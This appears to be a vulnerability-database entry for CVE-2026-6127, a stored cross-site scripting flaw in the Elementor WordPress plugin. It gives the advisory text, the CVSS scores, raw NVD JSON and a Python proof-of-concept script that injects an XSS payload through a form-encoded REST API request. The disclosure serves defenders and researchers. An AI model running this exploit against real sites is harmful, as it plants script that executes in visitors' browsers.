Security Vulnerability Report
中文
CVE-2026-6127 CVSS 6.4 MEDIUM

CVE-2026-6127

Published: 2026-05-01 06:16:32
Last Modified: 2026-05-01 15:26:25

Description

The Elementor Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the _elementor_data meta field in versions up to, and including, 4.0.4. This is due to insufficient input sanitization when processing form-encoded REST API requests. The plugin registers the _elementor_data meta field with show_in_rest but omits a sanitize_callback, relying instead on a rest_pre_insert_post filter (sanitize_post_data function) that only sanitizes JSON-encoded request bodies. When a contributor sends a form-encoded PATCH request to the WordPress REST API, the json_decode() call on the raw body returns null, causing all sanitization to be skipped. The unsanitized data is then stored via update_post_meta() and later output without escaping through multiple widget sinks including the HTML widget's print_unescaped_setting() function. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Elementor Website Builder <= 4.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_url = "https://example.com/wp-json/wp/v2/posts/POST_ID" username = "contributor" password = "password" # Authenticate session = requests.Session() session.auth = (username, password) # XSS Payload targeting the HTML widget sink xss_payload = '<img src=x onerror=alert(1)>' # The vulnerability is triggered by using form-encoding instead of JSON # The server expects JSON but receives form-data, causing json_decode to fail # and sanitization to be skipped. headers = { "Content-Type": "application/x-www-form-urlencoded" } # Malicious data structure for _elementor_data # We send it as a string representation to bypass the sanitization check malicious_data = f'[{{"id":"1","elType":"widget","settings":{{"html":"{xss_payload}"}},"widgetType":"html"}}]' payload = { "title": "XSS Test via Elementor", "content": "This post contains a stored XSS payload.", "meta[_elementor_data]": malicious_data } response = session.patch(target_url, headers=headers, data=payload) if response.status_code == 200: print("[+] Payload injected successfully!") print("[+] Visit the page to trigger the XSS.") else: print(f"[-] Failed to inject payload. Status: {response.status_code}") print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6127", "sourceIdentifier": "[email protected]", "published": "2026-05-01T06:16:32.233", "lastModified": "2026-05-01T15:26:24.553", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Elementor Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the _elementor_data meta field in versions up to, and including, 4.0.4. This is due to insufficient input sanitization when processing form-encoded REST API requests. The plugin registers the _elementor_data meta field with show_in_rest but omits a sanitize_callback, relying instead on a rest_pre_insert_post filter (sanitize_post_data function) that only sanitizes JSON-encoded request bodies. When a contributor sends a form-encoded PATCH request to the WordPress REST API, the json_decode() call on the raw body returns null, causing all sanitization to be skipped. The unsanitized data is then stored via update_post_meta() and later output without escaping through multiple widget sinks including the HTML widget's print_unescaped_setting() function. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/elementor/tags/4.0.1/includes/base/widget-base.php#L794", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/elementor/tags/4.0.1/includes/plugin.php#L840", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/elementor/tags/4.0.1/modules/wp-rest/classes/elementor-post-meta.php#L68", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/elementor/trunk/includes/base/widget-base.php#L794", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/elementor/trunk/includes/plugin.php#L840", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/elementor/trunk/modules/wp-rest/classes/elementor-post-meta.php#L68", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3519457/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/826a2003-c526-4760-8c21-10d5ae7bb384?source=cve", "source": "[email protected]"}]}}